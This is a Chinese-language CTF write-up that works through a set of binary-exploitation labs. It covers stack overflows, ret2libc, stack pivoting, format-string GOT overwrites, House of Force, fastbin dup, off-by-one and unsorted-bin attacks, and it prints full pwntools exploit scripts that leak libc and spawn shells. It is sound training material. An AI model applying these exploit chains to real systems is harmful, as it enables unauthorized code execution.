網路上發現有題目,於是下載下來練習看看,從stack一路到heap都有,真D佛心
lab1
source code:
因為我不懂加密法,這邊直接用 patch 的方式直接把if的判斷式改成nop
因為ida要錢,而且我又比較偏好在terminal上做事,所以我都用radare2就是這個原因
不過用 r2 patch 真的讓我找了一陣子才搞懂
首先 cp 一個檔案當備份,然後用指令先讓 r2 擁有對 ELF 的讀寫權限
r2 -Aw sysmagic_fix
因為有 source code,所以很輕易的就找到了處理 if 的 address
記住這個address , 我們先用q
跳回shell 模式,然後s
到那個address
再用Vp
對那個 address 進行寫的動作
這時候的畫面大概長這樣
可以用"
改變registers的擺放位置,第一行就是你要改寫的address,
下A
就可以更改他的assambly code
更改後他會再跟你做一次確認
然後就成功改好了
但從上面可以知道,他是跑print flag的code是從
0x08048724 c74588000000. mov dword [local_78h], 0
這行開始
但我們的nop到中間這一行還多一個被截斷後新的assambly code,
所以我們要把這一行也nop, 讓他可以直接跑if true的地方
結束後我們重新執行一次程式就可以得到flag了
我們重新回去看被我們 patch 過的ELF
可以看到原本是cmp+jne
的地方變成一條線下來了
然後下面的if
我不太清楚是什麼,但看下來應該都不會跑到那邊去
因為
mov dword [local_78h], 0
mov eax, dword [local_78h]
cmp eax, 0x30
jbe 0x804872d;[gh]
這幾行就知道我們恆會去print flag
的地方走
lab2
//TODO
lab3
ret2sc, 很明顯的知道我們要retrun to stack 執行我們的shellcode
看看執行的樣子:
看看他的保護機制:
很棒 什麼都沒開
最後看看objdump
第一個input是讓我們把shellcode寫進 global buffer 裡面
第二個gets則是讓我們利用overflow跳去 name 的buffer裡面執行shellcode
exp:
lab4
這一題是ret2libc
soruce code:
執行一下:
chekcsec:
可以看到他很好心的會幫我們print出記憶體裡面的資訊
這樣我們就直接給他puts@GOT然後recv他
再用下面的input進行overflow
這是標準解法的exp:
這是我自己習慣的只用一個input就達成的ret2libc:
用第二個解法的時候遇到一點問題
基本上libc 的address都是0xf7 開頭,stack則是0xff, 沒開PIE的程式碼區段
address 是0x8048000開始
但我們leak出看起來比較像的libc address 有兩個
0xf76450a0
和 0xf75f6a50
要怎麼知道哪一個才是puts的libc address呢?
大概說一下ASLR的機制,ASLR並不是完全的隨機打亂,他是基於一個固定的offset
上去做亂數打亂的
用這張圖就可以理解了
可以看到雖然記憶體位置是隨機變換的,但是他後三碼都是固定000
有人就透過這個機制做了一個查找libc版本號碼的網站
我們也可以利用這個機制,先看libc內的puts他的offset是多少,知道了他的offset後
就可以知道哪個是我們要的address了
lab5
#TODO
lab6
拖超久終於寫出來了….
pwn 跟 數學一樣,在理解後才覺得原理是多麽簡單QQ
首先我們先看 source code
1 | #include <stdio.h> |
可以看到他多了一個 count
來限制我們只能 ret 一次,算是寬鬆版的 stack canary
因為他的 buf 是寫在 function 內的,該 buf 存在 stack 內 (ASLR)
這時候就可以透過 stack pivot (migration) bypass
我們先把 ebp
和 esp
搬到 bss 上吧
最下面那行代表是,我們利用 read 把我們的 exploit chain 寫進 bss 內
因此下面開始放什麼進去 bss 內
首先第一步我們先 leak libc address 取得 libc 版本,為什麼要 pop_ebx_ret
而不是直接 ret, 是因為要先把 puts@GOT
pop 出來再 ret
成功 leak 出 puts 的 libc address 了
但要知道比較精確的 libc 版本的話通常都建議 leak 兩個位址會得到比較精確的答案
因此我們先 recv 這個 address 並繼續 leak 我們下一個 libc address
下一個我是挑 read
下手
當下想了想,我為何不能直接把 ret address 設為下一個 puts 輸出 read
libc address, 然後再下一個 ret address 設為 read 輸入呢?
於是我這麼幹了:
payload2 = flat([fake_ebp2, putsPLT, pop_ebx_ret, putsGOT, putsPLT, pop_ebx_ret, readGOT, readPLT, leave_ret, 0, fake_ebp2, 0x100])
然後這是結果
WTF? 為啥我一個 puts 會有三個 address ,其中一個跟 puts libc address 一樣可以先去除
剩下的兩個 address 我要如何辨別哪個是 read 呢? 又為什麼會這樣子 XDD
仔細 trace 後發現 (這是執行完第一個 puts 準備執行第二個之前的畫面)
中間多了一個莫名其妙的 _exit
再往下追原因發現pop ebx
也是一個這個現象的原因之一
ebx = array 的基底 address
講一個簡單的例子1
2
3
4
5int main(){
char *a="123";
puts(&a[1]);
return 0;
}
這樣子會輸出 23
但是如果改成這樣子就會噴error了
puts(&a[1] "a");
所以他實際執行應該是這樣子
1 | *array = [read_GOT_address] + [_exit_GOT_address] + [puts_GOT_address] |
至於為什麼會這樣子,又為什麼多一個 _exit
我就沒再追下去了
雖然想這樣子說過去,但我剛剛改成 pop_ebp_ret
結果還是一樣QQ
雖然成因是錯的,但是上面puts
的執行邏輯應該是沒錯啦,而且這是自己難得用 gdb trace 出來的 還是希望保留一下
總之我們兩個 libc address 都拿到後就可以開始跟 ret2libc
差不多的動作了
再來我們直接在 fake_ebp2
原地構建我們的 system("/bin/sh")
並且原地跳躍(?
要注意的是因為我們原地跳躍,所以 read 寫入後的 ret address 要先把 read 所需的那三個 argv pop 掉再 ret
這樣才會跳到 fake_ebp2
而不是 0x100
或是 0x0
最後附上完整的 exploit code
1 | from pwn import * |
Lab7
source code:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
unsigned int password ;
int main(){
setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
int fd ;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("What your name ? ");
read(0,buf,99);
printf("Hello ,");
printf(buf);
printf("Your password :");
read(0,input,15);
if(atoi(input) != password){
puts("Goodbyte");
}else{
puts("Congrt!!");
system("cat /home/crack/flag");
}
}
用 pwntools 可以快速得出 offset1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
def leak_offset(payload):
r = remote("127.0.0.1", 8888)
r.recvuntil("name ? ")
r.sendline(payload)
r.recvuntil("Hello ,")
info = r.recv()
r.close()
return info
autofmt = FmtStr(leak_offset)
print(autofmt.offset)
下一步通常就是嘗試 leak binary, 但在這邊我們有 binary 就不用去 leak 了
想知道怎麼 leak 的話可以看我針對 Format String Attack 寫的文章
因為這也有 call system
所以可以直接嘗試拿 shell
但在那之前要先 leak stack canary 才行
原本是打算透過輸入到極限把 canary 最尾的 \x00
蓋掉,這樣 printf
的時候會一起把 canary print 出來
我連 offset 都算好了…我們輸入的地方只要再輸入 0x64+1 個字元就可以蓋到 canary 最後的 \x00
但最後發現他的 read
限制輸入 99(0x63) 個字元
無奈只好用 leak 特定位置的內容的方式來 leak canary
leak 的 payload 可以透過 python 達成1
2
3>>> for i in range(31,41):
... a = "%"+str(i)+"$x"
... print(a, end='')
在寫這篇的時候已經快凌晨 4 點了
我還是用正規方法 leak password 的 address 來做輸入好了
因為 32 位元的特性, address 都會被填滿,又剛好這個 address 沒有 \x00
有被截斷的風險,所以其實可以直接p32(password) + b"%10$s"
, 但我還是養成習慣把 address 放到最後好了
password 的地址部分可以很容易地找到
1 | from pwn import * |
要注意 Format string attack 不一定每次都能成功,跑一次失敗可以多跑幾次看看
Lab8
這一題我當初在練 Format String 的時候一起解掉了
直接付 source code1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20#include <stdio.h>
int magic = 0 ;
int main(){
char buf[0x100];
setvbuf(stdout,0,2,0);
puts("Please crax me !");
printf("Give me magic :");
read(0,buf,0x100);
printf(buf);
if(magic == 0xda){
system("cat /home/craxme/flag");
}else if(magic == 0xfaceb00c){
system("cat /home/craxme/craxflag");
}else{
puts("You need be a phd");
}
}
exp (拿 shell 版):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from pwn import *
magic = 0x804a038
offset = 7
context.arch = 'i386'
context.terminal='bash'
context.log_level='debug'
binELF = ELF("./craxme")
read = 0x080485a1
system = 0x080485ba
puts_GOT = binELF.got['puts']
printf_GOT = binELF.got['printf']
io = process("./craxme")
io.recvuntil("magic :")
payload = p32(puts_GOT) + p32(puts_GOT+2) + p32(printf_GOT) + p32(printf_GOT+2) + b"%7$34193x" + b"%7$n" + b"%8$33379x" + b"%8$hn" + b"%9$31756x" + b"%9$n" + b"%10$33780x" + b"%10$n"
io.sendline(payload)
io.interactive()
Lab9
這一題考得是 rbp chain
TODO
Lab10
這一題考的是 UAF
也是正式踏入 heap 的領域了
關於 heap UAF 的手法可以看我之前針對 heap 寫的文章
Lab11
這一題是考 House Of Force
透過將top chunk size 設成無限小 (-1) 以達到任意記憶體寫入
詳細的技術原理可以參考這個
先給第一段的 exploit code
1 | from pwn import * |
要做的就是利用 HOF 將 top chunk 改到 0x2277240
,然後再 allocate 一個 0x10
size 的空間,他就會蓋到下面的空間,將 goodbye_message
的位置改成 magic
之後退出,讓程式 call goodbye_message
就會觸發了
final exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41from pwn import *
r = process("./bamboobox")
context.log_level = 'debug'
context.terminal = 'bash'
def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def show():
r.recvuntil(":")
r.sendline("1")
magic = 0x400d49
additem(0x60,"ddaa")
modify(0,0x70,b"a"*0x60 + p64(0) + p64(0xffffffffffffffff))
additem(-160,"bbbb")
additem(0x10,p64(magic)*2)
r.recvuntil(":")
r.sendline("5")
r.interactive()
那個 -160
就是將 top chunk 控到 0x2277240
0x22772e0 - 160 = 0x2277240
所以要利用 -160
將 top chunk 往上抬到對應位置
這邊給一下步驟圖
modify(0,0x70,b"a"*0x60 + p64(0) + p64(0xffffffffffffffff))
additem(-160,"bbbb")
additem(0x10,p64(magic)*2)
最後:
Lab12
這一題考 fastbin dup
有風險的 code 在於 free((flowerlist[index])->name);
沒有將他設為 NULL
因為我的執行環境是 libc 2.27 的版本,並且經過 patch (有防 tcache double free)
所以我的 fastbin dup 會比較長一點
1 | from pwn import * |
然後因為我是 libc 2.27 的版本,所以不用因為 heap 指向的位置包含 chunk header 而去算 offset,直接指向要寫的位置就好
1 | from pwn import * |
做一次分解步驟的擷圖
首先 malloc 九個空間然後做 fastbin dup
把 tcache 的空間全部取出來
然後把 fastbin 第一個指向的 chunk 拿出來,將裡面的內容改寫成要任意寫入的地址
這邊指向 _dl_runtime_resolve_xsavec
,因為只要輸入 5 離開程式後就會 call 到這個 function (透過動態追來的)
改寫後
最後
Lab12 rce
這一題其實可以做到 rce,只是有一些地方要克服
首先做 leak libc address,第一會想到的當然是做完 fastbin dup 之後,在做任意寫入之前先透過 Visit
功能把位址輸出
但會如果照著之前的作法會有一個問題
他的 +8 位址會爛掉,而 0x602018 正好是 free
的 GOT address,但 fastbin dup 的過程中這個 function 不可或缺,因此要找其他位址 leak
最後選定 leak setvbuf
,因為他的 +8 位址是 open
,很明顯 RCE 過程中不會用到這個 function
1 | from pwn import * [69/280] |
為什麼再算 libc offset 的時候要扣 218 呢?
因為在 raise_flower(0x50,b"" ,"leak")
這邊實際上還是會輸入換行符號 (0x0a)
leak 完 libc 之後就要準備 RCE 了,這邊使用 one gadget 比較省力
然後因為上一個空間被我搞爛了,所以這次做 fastbin dup 就 malloc 其他的空間
1 | from pwn import * |
接著上面 leak libc 之後的步驟,再次 fastbin dup
之後就跟 call magic 一樣的步驟,只是把 magic 改成 one gadget
Lab13
這一題考 Off-By-One
exploit
程式的邏輯大概長這樣
主要漏洞點在這一段
透過溢位 1 個 byte overwrite 下一個 chunk 的 size 達到攻擊
1 | from pwn import * |
首先 create 兩個,共 allocate 四個空間
edit 內容 overwrite 下一個 chunker header,將下一個 chunk header 改成 0x41
free
這樣就得到了一個經過變造的 0x40 與正常的 0x20 chunk
透過第一張圖可以知道這原本是兩個 0x20 的 chunk 組合起來的,所以我們可以用一個 0x40 的 heap 改寫下一個 heap 的 *content
內容
再透過 show
的功能就可以做到任意記憶體位置 leak 的功能
1 | from pwn import * |
一樣先做一下分解圖,首先要一個 0x20 的空間放 size
和 *content
的空間
在這一步把 allocate 的空間放入 heaparray
內
然後再 allocate 0x40 的空間
然後在這一步做輸入
show 出來
簡單來說,程式會先 allocate 完兩個空間,由於我是要了 0x30 的空間,所以程式會給我經過變造的 0x40 的空間與被包含在 0x40 空間內的 0x20 空間
這樣就拿到 libc base 了
附上 final exp 再來講解1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
r = process("./heapcreator")
#context.log_level = 'debug'
free_got = 0x602018
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def create(size, content):
r.recvuntil(':')
r.sendline("1")
r.recvuntil("Heap : ")
r.sendline(str(size))
r.recvuntil("heap:")
r.sendline(content)
def edit(index, content):
r.recvuntil(':')
r.sendline("2")
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("heap :")
r.sendline(content)
def show(index):
r.recvuntil(':')
r.sendline("3")
r.recvuntil('Index :')
r.sendline(str(index))
def delete(index):
r.recvuntil(':')
r.sendline("4")
r.recvuntil('Index :')
r.sendline(str(index))
def exit():
r.recvuntil(':')
r.sendline("5")
create(0x18, "aaaa")
create(0x10, "bbbb")
edit(0, '/bin/sh\x00' + 'a'*0x10 + '\x41' )
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
show(1)
r.recvuntil("Content : ")
free_libc = u64(r.recv(6).ljust(8, b'\x00'))
log.info("free address is 0x%x" %free_libc)
libc_base = free_libc - libc.symbols['free']
log.info("libc_base address is 0x%x" %libc_base)
system = libc_base + libc.symbols['system']
edit(1, p64(system))
delete(0)
r.interactive()
然後再透過 edit
的功能,他會改 *content
指向位置內容,這邊就可以把 free_got
內的內容改成 system libc address
然後再 free 前面有 /bin/sh
內容的 chunk
Lab14
這一題考 unsortbin attack
這次轉到 libc 2.23 執行
觸發 flag 的點在這邊
而 magic
預設全域變數是 0,
其實他的原理很簡單,就是不會檢查 unlink 的 address,直接在 address 押上 fd 跟 bk
所以只要把 unsortbin 內 chunk 的 bk 改寫成 magic
的位址,這樣子 unlink 的時候就會把 magic
內的值改寫成 main_arena
的位址,其值一定大於 4869
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45from pwn import *
r = process("./magicheap")
def create(size, content):
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('Heap : ')
r.sendline(str(size))
r.recvuntil('heap:')
r.sendline(content)
def edit(index, size, content):
r.recvuntil('choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('Heap : ')
r.sendline(str(size))
r.recvuntil('heap : ')
r.sendline(content)
def delete(index):
r.recvuntil('choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))
magic = 0x6020c0
create(0x80, "aaaa") #0
create(0x20, "bbbb") #1
create(0x80, "cccc") #2
create(0x20, "dddd") #3
delete(0)
delete(2)
print(pidof(r))
edit(1, 0x40, b"b"*0x20 + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
create(0x80, "zzzz")
create(0x80, "zzzz")
r.recvuntil(':')
r.sendline("4869")
r.interactive()
首先創兩個 unsortbin chunk
然後透過 edit
function overwite 下一個已經 free 掉的 chunk,改掉他的 bk
最後把 chunk 取出來觸發 unlink,這樣就可以把 magic
壓上 main_arena
的位址了